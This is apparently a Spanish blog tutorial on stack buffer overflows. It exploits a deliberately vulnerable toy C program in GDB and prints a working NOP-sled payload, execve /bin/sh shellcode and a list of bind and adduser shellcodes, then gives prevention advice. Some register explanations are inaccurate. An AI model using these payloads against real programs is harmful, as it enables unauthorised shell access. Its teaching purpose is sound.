Siguiendo un post que hice hace poco tiempo, sobre Buffer Overflow , me decidi a armar algo mas explicito sobre el asunto, en el cual mostrare algún otro ejemplo de como podemos ganarle una shell a un error en la comprobación del límite de las variables, en programas escritos en lenguaje C. Todo esto es a causa de que C no valida o comprueba el limite de las variables, lo cual permite sobreescribir de esta manera ciertas posiciones de memoria.
He leido mucho sobre el asunto, desde hace ya bastante tiempo y la verdad es que muchos tutoriales lo complican innecesariamente.
¿Qué Buffer Overflow?
Como dijimos anteriormente, un Buffer Overflow, es un error de programación producido cuando se copia a un array más datos de los que este puede contener.
Recordemos que el sistema operativo mantiene posiciones de memoria protegidas y otras no. Si se produce la escritura fuera de una zona de
memoria protegida se producirá una excepción del sistema de acceso a memoria seguido de la terminación del programa (SEGMENTATION FAULT).
En algunas implementaciones de C es posible corromper la pila de ejecucion (execution stack) escribiendo mas alla del fin de una cadena declarada auto en una rutina.
El codigo que hace esto posible se dice que desborda la pila (smash the stack ), y puede causar el retorno de la rutina y el salto a una direccion casual.
Esto puede producir algunos de los mas malignos bugs conocidos hasta ahora.
Existen ciertas variantes (de traduccion literal dudosa) que reciben los siguientes nombres (en ingles): trash the stack, scribble the stack, mangle the stack.
Overflow Example
Algunas definiciones:
Un buffer es simplemente un bloque contiguo de memoria que mantiene multiples registros del mismo tipo de datos. Los programadores que trabajan con C normalmente lo asocian con los buffers usados en los arrays de cadena. Mas comunmente, arrays de caracteres. Los arrays, como todas las variables en C, pueden ser declaradas o bien dinamicas o bien estaticas. Las variables estaticas son cargadas en el segmento de datos en el momento de carga. Las variables dinamicas se alojan en la pila en el tiempo de ejecucion. Desbordar el buffer es como dice como se deduce de la traduccion del termino ingles, llenar por encima del limite, es decir, desbordar.
¿Que tenemos en la memoria?
Podemos distinguir tres grande aréas en la memoria, una región text, de solo lectura en la cual se almacenan las rutinas del programa en ejecución, una región data en la cual se encuentran todas aquellas variables que aún no se han inicializado y una región stack, donde nos interesaremos por las variables dinámicas, aquellas variables que ya han sido inicializadas. Si una variable no es dinámica, decimos que es una constante, pues mantiene su valor durante toda la ejecución del programa.
La memoria solo puede ser almacenada en multiplos de “word” . Por lo tanto 12 bytes ocupan 3 word.
El Stack
El stack es una región en la memoria, en la cual se almacena y se libera información, podemos decir que tiene funcionalidad dinámica.
Su nombre se refiere a que actúa como una pila, apilando en ella los elementos que van ingresando. Tiene la particularidad de permitir unicamente acceso a TOS (Top of the Stack ), esto significa que solamente podremos acceder al ultimo elemento colocada en ella, este método se llama LIFO (Last In First Out ), y es usado en muchos ambitos (no solo la informática), su contrapartida seria el FIFO (First In First Out ). Para hacer uso de este método el stack utiliza dos funciones en lenguaje ensamblador PUSH y POP . PUSH es utilizado para colocar “algo” en el stack y POP para removerlo de allí.
Si esto les complica, imaginemos al stack como a una pila de platos, si queremos agregar un nuevo plato (PUSH), lo agregamos arriba del todo (TOS), y si queremos retirar algún plato de mas abajo (POP), debemos retirar primero todos los platos superiores.
Las dimensiones del stack son ajustadas dinámicamente por el kernel (aleatoriamente o no). En la arquitectura x86 de Intel, el Stack crece desde las posiciones mas altas de memoria hacia las mas bajas.
Veamos un ejemplo sobre el funcionamiento del Stack:
En Lenguaje C:
*/ Ejemplo 1.c*/
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
En Ensamblador:
pushl $3
pushl $2
pushl $1
call function
Los registros:
Los registros son estructuras internas del CPU utilizados para comunicar a la memoría directamente con la UAL (Unidad Aritmético Logica) del CPU y tienen una longitud de entre 32 a 16 bits.
Pueden almacenar de a un “word” por vez, por lo cual al recibir un nuevo valor, pierde el que contenia.
Existen cuatro tipos de registros :
- Registros generales
- Registros de segmentos
- Registros de offset
- Otros registros
Los registros generales son utilizados para la manipulación de datos, un registro general de 32 bits que se subdivide en dos registros de 16 bits (AX) y estos en registros de 8 bits (AH y AL).
Ejemplos de registros generales son EAX, EBX, ECX, entre otros.
Por ejemplo EAX se utiliza para situar el resultado de operaciones aritméticas como DIV o MUL.
Los registros de segmentos contienen la primera parte de una dirección de memoria, aquí encontramos a CS que es el registro del segmento de la dirección de memoria que esta actualmente en ejecución, la dirección completa se encuentra en CS:ESP.
DS que es un registro de datos y SS que es el registro de pila, por lo cual podemos deducir que la pila se encuentra en SS:ESP.
Por su parte los registros de offset indican un offset relacionado con los registros de segmento. Aquí aparecen registros muy importantes como EIP (Extended Instruction Pointer ), este registro mantiene la próxima dirección de memoria a ser ejecutada. Por ejemplo si contiene el valor 0xFFFFFF significa que en la próxima instrucción a ejecutar se encuentra en 0xFFFFFF.
Por su parte el registro EBP (Extended Base Pointer ), mantiene el inicio local para una función.El registro EDI (Extended Source Index ) Contiene el offset de los datos de Destino de datos en una operación que se usa un bloque de memoria.
Y por ultimo encontramos otro (no menos importante) registro, este es ESP (Extended Stack Pointer ), quien conoce cual es la cima del stack de ejecución.
The GDB Debugger
El codigo en teoría es secuencial (instrucciones no separadas por mas de un byte de distancia), una instrucción tras otra, pero la realidad dice que el código puede bifurcarse, (hacer un jmp), cuando esto sucede, nos preguntamos ¿como hace para acordarse donde estaba?, es muy simple el registro EIP se copia en el registro EDX, para de esta forma, tener “registro” de donde se encontraba antes del jump.
Para que un programa se pueda ejecutar posiblemente deba cargar variables locales y paramétros dentro de una función aquí aparece un puntero muy conocido FP (Frame Pointer ), que se utiliza en conjunto con el registro EBP.
Al llamar a una función:
1.Guardar valor FP, para ser restaurado al fin.
2.Copiar SP dentro de FP, creando nuevo FP.
3.Crear espacio en el stack para reserver memoria para las variables locales.
A este procedimiento se le denomina PROCEDURE LOG (o PROLOG), veamoslo en lenguaje Ensamblador:
push $ebp
mov $esp $ebp
push {valor}, $esp
Por su lado contrario la salida de una función es conocida como PROCEDURE EPILOG (o simplemente EPILOG), que en Ensamblador seria:
leave
ret
Shellcodes:
Una shellcode es un conjunto de ordenes programadas generalmente en lenguaje Ensamblador (o traducido a este).
Esta se inyecta en el stack, para conseguir que la maquina residente ejecute la operación
que se halla programado. Una shellcode debe ser corta, la mas corta conocida actualmente es de 22 bytes.
En el siguiente ejemplo lo que se realiza es una llamadas al sistema con execve, la cual llama al contenido de name[0] que no es otra cosa que la cadena /bin/sh.
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
Linux pasa sus argumentos a las llamadas a través de registros y usa interrupciones por software para pasar al kernel mode.
EJEMPLO PRACTICO
Como en el ejemplo anterior, aquí vamos a utilizar la memoria sin randomizar, esto significa que el stack no sera aleatorio y se encontrara siempre en el mismo lugar.
Configuramos esto utilizando el comando sysctl, el cual contiene una larga lista de directivas que podemos pasarle a nuestro kernel asignandole valores booleanos (0 y 1 / True, False). Nosotros lo desactivamos de la siguiente manera:
#: sysctl kernel.randomize_va_space=0
Este es el código de fuentes (ANSI C) de nuestro ejemplo:
/* abo1.c *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced... */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
Y durante la compilación del código de fuentes, que haremos con GCC (The
GNU Compiler Collection ), utilizaremos el paramétro
-fno-stack-protector. Lo compilamos de la siguiente manera y lo ejecutamos:
#: gcc -fno-stack-protector abo1.c -o abo1
#: ./abo1
Si vemos la variable buf, contiene un límite de 256 bytes, por lo tanto si pasamos mas de 255 bytes de entrada para esta variable producira un fallo de segmentación o segmentation fault, que es lo que nosotros buscamos. Vamos a probarlo:
#: ./abo1 `python -c 'print "\x41"*256'`
segmentation fault ./abo1 `python -c 'print "\x41"*256'`
Lo que hicimos es pasarle por medio del interprete Python, 256 veces, el valor hexadecimal de la letra A (si x41 en hexa es A mayúsculas, en minúsculas es x61).
Lo que sucedio aquí es que hemos producido un overflow, y el programa tiro un error que como dijimos se llama segmentation fault.
Si vemos el log /var/log/messages encontraremos algo como lo siguiente:
#: tail /var/log/messages
Mar 2 10:54:14 kernel: abo1[3089]: segfault at 41414141
ip 41414141 sp bffff400 error 4
Y vemos repetido varias veces el valor 41, =), lo que nosotros hemos pasado como argumento!.
Bien ahora utilizaremos GDB (The GNU Debugger), una herramienta maravillosa para depurar nuestras aplicaciones. En el shell hacemos:
#: gdb abo1
GNU gdb 6.8-debian
This GDB was configured as "i486-linux-gnu"...
(gdb)
Bien, ya tenemos gdb cargado con nuestro programita vulnerable. Ahora empezaremos a encontrar cual es la manera de obtener una shell de todo esto.
Vamos a seguir probando, pero ahora desde GDB.
(gdb) r `python -c 'print "\x41"*256'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4 EBX: B7FCFFF4 ECX: BFFFF300 EDX: 00000101 o d I t S z a P c
ESI: 080483F0 EDI: 080482F0 EBP: BFFFF428 ESP: BFFFF300 EIP: 41414141
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF340 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF330 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF320 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF310 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF300 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57 56 53 E8 4F - 00 00 00 81 C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C E8 6F FE FF - FF 8D BB 18 FF FF FF 8D .....o..........
08048410 : 83 18 FF FF FF 29 C7 C1 - FF 02 85 FF 74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89 44 24 08 8B - 45 0C 89 44 24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24 FF 94 B3 18 - FF FF FF 83 C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4 0C 5B 5E 5F - 5D C3 8B 1C 24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53 83 EC 04 A1 - A4 94 04 08 83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94 04 08 66 90 - 83 EB 04 FF D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141: Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
Nota: Otra forma de conocer el valor de un registro es escribiendo en GDB lo siguiente: info registers $registro o también i r $registro . Por ejemplo:
(gdb) info registers $eip
(gdb) i r $eip
Bien lo primero que vemos que el programa no puede acceder a la posición de memoria 0x41414141. Nosotros le hemos pasado como argumento 256 letras A, que en hexadecimal son x41, lo cual nos dice algo, hemos modificado "el rumbo" del programa, y si vemos aún mas detalladamente el registro EIP encontramos que su valor al momento del segmentation fault es 0x41414141, por lo cual, EIP apunto a una dirección de memoria introducida manualmente por nosotros. ¡¡¡Hemos pisado al registro EIP!!!.
Ahora nos queda determinar que porción de los argumentos que nosotros pasamos corresponden al EIP.
Para hacerlo creo que lo mas sencillo es dividir el argumento de entrada en varias partes, e ir adivinando cuales corresponden al EIP, siempre debemos tener en cuenta que el EIP corresponde a una sección de 4 bytes, por lo cual, debemos encontrarlo dividiendo el código de distintas formas, sientanse libres de utilizar la que mas les guste.
(gdb) r `python -c 'print "\x90"*72+\x41"*4+"\x90"*180'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4 EBX: B7FCFFF4 ECX: BFFFF300 EDX: 00000101 o d I t S z a P c
ESI: 080483F0 EDI: 080482F0 EBP: BFFFF428 ESP: BFFFF300 EIP: 41414141
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF340 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF330 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF320 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF310 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF300 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57 56 53 E8 4F - 00 00 00 81 C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C E8 6F FE FF - FF 8D BB 18 FF FF FF 8D .....o..........
08048410 : 83 18 FF FF FF 29 C7 C1 - FF 02 85 FF 74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89 44 24 08 8B - 45 0C 89 44 24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24 FF 94 B3 18 - FF FF FF 83 C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4 0C 5B 5E 5F - 5D C3 8B 1C 24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53 83 EC 04 A1 - A4 94 04 08 83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94 04 08 66 90 - 83 EB 04 FF D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141: Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
Bien aquí a prueba y error, hemos encontrado que porción de los paramétros que le pasamos al programa correspondan al EIP. Tiene un formato masomenos similar al siguiente: A (72 Bytes) + EIP (4 Bytes) + C (180 Bytes)
Si sumamos todo: 72 + 4 + 180 = 256 , el tamaño del buffer en bytes.
Ya tenemos un progreso importante, conocemos donde se encuentra el EIP, ahora podemos prestar mas atención al desarollo de la cadena que utilizaremos para ganar la shell y a la utilización de la Shellcode. En nuestro caso tendrá el siguiente formato:
NOP + EIP + NOP + SHELLCODE
NOP (No Operations) en lenguaje Ensamblador es x90 , esta instrucción le dice al procesador que no haga "nada" y que avanze un ciclo. Sera lo que utilizaremos nosotros aquí para rellenar los espacios que nos faltan.
Para disponer siempre de shellcodes a mano utilizo rasc, una herramienta maravillosa que mi amigo x41 me recomendo y me instalo el inclusive!.
Busquemos una shellcode para nuestro ejemplo y acorde a nuestro sistema (en este caso la arquitectura x86 de Intel).
#: rasc -L
arm.linux.binsh 47 Runs /bin/sh
arm.linux.suidsh 67 Setuid and runs /bin/sh
arm.linux.bind 203 Binds /bin/sh to a tcp port
armle.osx.reverse 151 iPhone reverse connect shell to HOST
dual.linux.binsh 99 x86/ppc MacOSX /bin/sh shellcode
dual.osx.binsh 121 Runs /bin/sh (works also on x86) (dual)
mips.linux.binsh 87 Runs /bin/sh (tested on loongson2f).
ppc.osx.adduser 219 Adds a root user named 'r00t' no pass.
ppc.osx.binsh 152 Executes /bin/sh
ppc.osx.binsh0 72 Executes /bin/sh (with zeroes)
ppc.osx.bind4444 224 Binds a shell at port 4444
ppc.osx.reboot 28 Reboots the box
ppc.bsd.binsh 119 Runs /bin/sh
sparc.linux.binsh 216 Runs /bin/sh on sparc/linux
sparc.linux.bind4444 232 Binds a shell at TCP port 4444
x64.linux.binsh 46 Runs /bin/sh on 64 bits
x86.bsd.binsh 46 Executes /bin/sh
x86.bsd.binsh2 23 Executes /bin/sh
x86.bsd.suidsh 31 Setuid(0) and runs /bin/sh
x86.bsd.bind4444 104 Binds a shell at port 4444
x86.bsdlinux.binsh 38 Dual linux/bsd shellcode runs /bin/sh
x86.freebsd.reboot 7 Reboots target box
x86.freebsd.reverse 126 Reboots target box
x86.linux.adduser 88 Adds user 'x' with password 'y'
x86.linux.bind4444 109 Binds a shell at TCP port 4444
x86.linux.binsh 24 Executes /bin/sh
x86.linux.binsh1 31 Executes /bin/sh
x86.linux.binsh2 36 Executes /bin/sh
x86.linux.binsh3 50 Executes /bin/sh or CMD
x86.linux.udp4444 125 Binds a shell at UDP port 4444
x86.netbsd.binsh 68 Executes /bin/sh
x86.openbsd.binsh 23 Executes /bin/sh
x86.openbsd.bind6969 147 Executes /bin/sh
x86.osx.binsh 45 Executes /bin/sh
x86.osx.binsh2 24 Executes /bin/sh
x86.osx.bind4444 112 Binds a shell at port 4444
x86.solaris.binsh 84 Runs /bin/sh
x86.solaris.binshu 84 Runs /bin/sh (toupper() safe)
x86.solaris.bind4444 120 Binds a shell at port 4444
x86.w32.msg 245 Shows a MessageBox
x86.w32.cmd 164 Runs cmd.exe and ExitThread
x86.w32.adduser 224 Adds user 'x' with password 'y'
x86.w32.bind4444 345 Binds a shell at port 4444
x86.w32.tcp4444 312 Binds a shell at port 4444
Bien aquí hay una interesante es: x86.linux.binsh y pesa solamente 24 bytes y como toda toda shellcode mientras mas corta mejor, esta viene genial. Su acción es ejecutar la shell /bin/sh. Veamos la shellcode:
#: rasc -i x86.linux.binsh -e
"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Lo que en formato C seria:
unsigned char shellcode[] = {
0x41, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x99, 0xb0,
0x0b, 0xcd, 0x80,
};
Ya conocemos donde esta el EIP, tenemos la shellcode y utilizaremos NOP's, podemos comenzar a darle formato a nuestro string que inyectaremos como paramétro de entrada al programa. Quedandonos el formato de la siguiente forma:
NOP (72 Bytes) + EIP (4 Bytes) + NOP (155 Bytes) + SHELLCODE (24 Bytes)
Los "\x41 " que encontraran en el EIP, tienen un valor temporal, hasta que encontremos en que dirección de memoria se encuentra el comienzo de nuestro codigo malicioso. Por ahora nos queda asi:
(gdb) r `python -c 'print "\x90"*72+"\x41\x41\x41\x41"+"\x90"*155+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4 EBX: B7FCFFF4 ECX: BFFFF300 EDX: 00000101 o d I t S z a P c
ESI: 080483F0 EDI: 080482F0 EBP: BFFFF428 ESP: BFFFF300 EIP: 41414141
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF340 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF330 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF320 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF310 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFFF300 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57 56 53 E8 4F - 00 00 00 81 C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C E8 6F FE FF - FF 8D BB 18 FF FF FF 8D .....o..........
08048410 : 83 18 FF FF FF 29 C7 C1 - FF 02 85 FF 74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89 44 24 08 8B - 45 0C 89 44 24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24 FF 94 B3 18 - FF FF FF 83 C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4 0C 5B 5E 5F - 5D C3 8B 1C 24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53 83 EC 04 A1 - A4 94 04 08 83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94 04 08 66 90 - 83 EB 04 FF D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141: Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
Bien ya tenemos gran parte hecha, ahora tenemos que ver donde se encuentran nuestros NOP, asi de esta forma podemos redirigir el código malicioso, allí, de esta forma esto dara lugar a la ejecución de la shellcode.
Para esto vamos a analizar el stack, mas precisamente a ESP, asi que le decimos a GDB que nos imprima por pantalla los ultimos 300 valores de ESP.
(gdb) x/300h $esp
0xbffff310: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff320: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff330: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff340: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff350: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff360: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff370: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff380: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff390: 0x9090 0x9090 0x9090 0x9090 0x9090 0x4190 0xc031 0x6850
0xbffff3a0: 0x2f2f 0x6873 0x2f68 0x6962 0x896e 0x50e3 0x8953 0x99e1
0xbffff3b0: 0x0bb0 0x80cd 0xf300 0xbfff 0xf428 0xbfff 0xf455 0xb7e8
0xbffff3c0: 0x83f0 0x0804 0x82f0 0x0804 0xf428 0xbfff 0xf455 0xb7e8
0xbffff3d0: 0x0002 0x0000 0xf454 0xbfff 0xf460 0xbfff 0x3b38 0xb7fe
0xbffff3e0: 0x0001 0x0000 0x0001 0x0000 0x0000 0x0000 0x8210 0x0804
0xbffff3f0: 0xfff4 0xb7fc 0x83f0 0x0804 0x82f0 0x0804 0xf428 0xbfff
0xbffff400: 0xa081 0xebe7 0x3491 0xc5e8 0x0000 0x0000 0x0000 0x0000
0xbffff410: 0x0000 0x0000 0x72e0 0xb7ff 0xf37d 0xb7e8 0xeff4 0xb7ff
0xbffff420: 0x0002 0x0000 0x82f0 0x0804 0x0000 0x0000 0x8311 0x0804
0xbffff430: 0x83a4 0x0804 0x0002 0x0000 0xf454 0xbfff 0x83f0 0x0804
0xbffff440: 0x83e0 0x0804 0x2250 0xb7ff 0xf44c 0xbfff 0xcae5 0xb7ff
0xbffff450: 0x0002 0x0000 0xf5b0 0xbfff 0xf5d0 0xbfff 0x0000 0x0000
0xbffff460: 0xf6d1 0xbfff 0xf6e9 0xbfff 0xf6f5 0xbfff 0xfbdc 0xbfff
0xbffff470: 0xfbe5 0xbfff 0xfbf5 0xbfff 0xfbff 0xbfff 0xfc0f 0xbfff
0xbffff480: 0xfc1c 0xbfff 0xfc49 0xbfff 0xfc60 0xbfff 0xfc7f 0xbfff
0xbffff490: 0xfc90 0xbfff 0xfca3 0xbfff 0xfcab 0xbfff 0xfcbb 0xbfff
0xbffff4a0: 0xfcc9 0xbfff 0xfcd6 0xbfff 0xfcfb 0xbfff 0xfd5d 0xbfff
0xbffff4b0: 0xfd76 0xbfff 0xfd90 0xbfff 0xfd9e 0xbfff 0xfdb1 0xbfff
0xbffff4c0: 0xfdc4 0xbfff 0xfde8 0xbfff 0xfdf4 0xbfff 0xfdfd 0xbfff
0xbffff4d0: 0xfe1a 0xbfff 0xfe32 0xbfff 0xfe40 0xbfff 0xfe77 0xbfff
Ya hemos encontrado donde comienzan nuestros NOP's, asi que solamente nos queda apuntar el EIP a la posición de memoria 0xbffff310 , que la debemos escribir invertiendola, de izquierda a derecha, nos deberia quedar algo así: \x10\xf3\xff\xbf" . La agregamos a nuestro código malicioso y ejecutamos!.
(gdb) r `python -c 'print "\x90"*72+"\x10\xf3\xff\xbf"+"\x90"*155+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Executing new program: /usr/local/bin/bash
sh-4.0$
Hemos ganado la shell!, bien, eso es lo que buscabamos, con esto demostramos que muchos programas escritos en C (y C++), son vulnerables a los ataque producidos por Buffer Overflow
, de esta forma podemos llegar a ganar acceso local o remotamente a algun programa vulnerable. Si es remoto debe ser algún servicio a la escucha, que acepte paramétros como los que hemos pasado nosotros y si ese servicio corre con permisos especiales (por ejemplo root), obtendremos la shell con el mismo servicio, pudiendo hacer con el sistema lo que nosotros queramos. Lo cual demuestra la grave peligrosidad de estos ataques.
Nota: Notarán que en mi sistema se ejecuta /usr/local/bin/bash, esto es por que tengo instalada la versión 4 de Bash. /bin/sh es simplemente un enlace simbolo al ejecutable de Bash (/usr/local/bin/sh).
¿Como prevenirnos?
Podemos prevenirnos de diversas formas de buffers overflow, entre ellas recomiendo:
- Invertir tiempo en el desarollo de nuevos sistemas
- Comprobar el límite de cada variable
- Comprobar códigos de retorno
- Evitar usar funciones vulnerables como: gets(), strcpy(), strcat(), vsprintf(), scanf(), getc(), fgetc(), getchar()
- Desarollo de software teniendo en cuenta principios de seguridad.
- Otorgar al software los minímos privilegios necesarios.
- Testear el software extensivamente.
- Utilizar protecciones de compiladores como ProPolice2, StackGuard, entre otras.
- Fuzzing de aplicaciones
- Informarse sobre nuevas vulnerabilidades y aplicar parches
Esto fue todo por hoy, espero que les halla gustado. Un poquito de C, Lenguaje Ensamblador, Hexadecimal, y arquitectura de CPU's, son suficiente para poder reventar y aplastar el Stack. Espero que les guste.
Tags: Buffer Overflow,
Exploit,
Fuzzing,
Hack,
Linux,
Overflow,
Smashing the Stack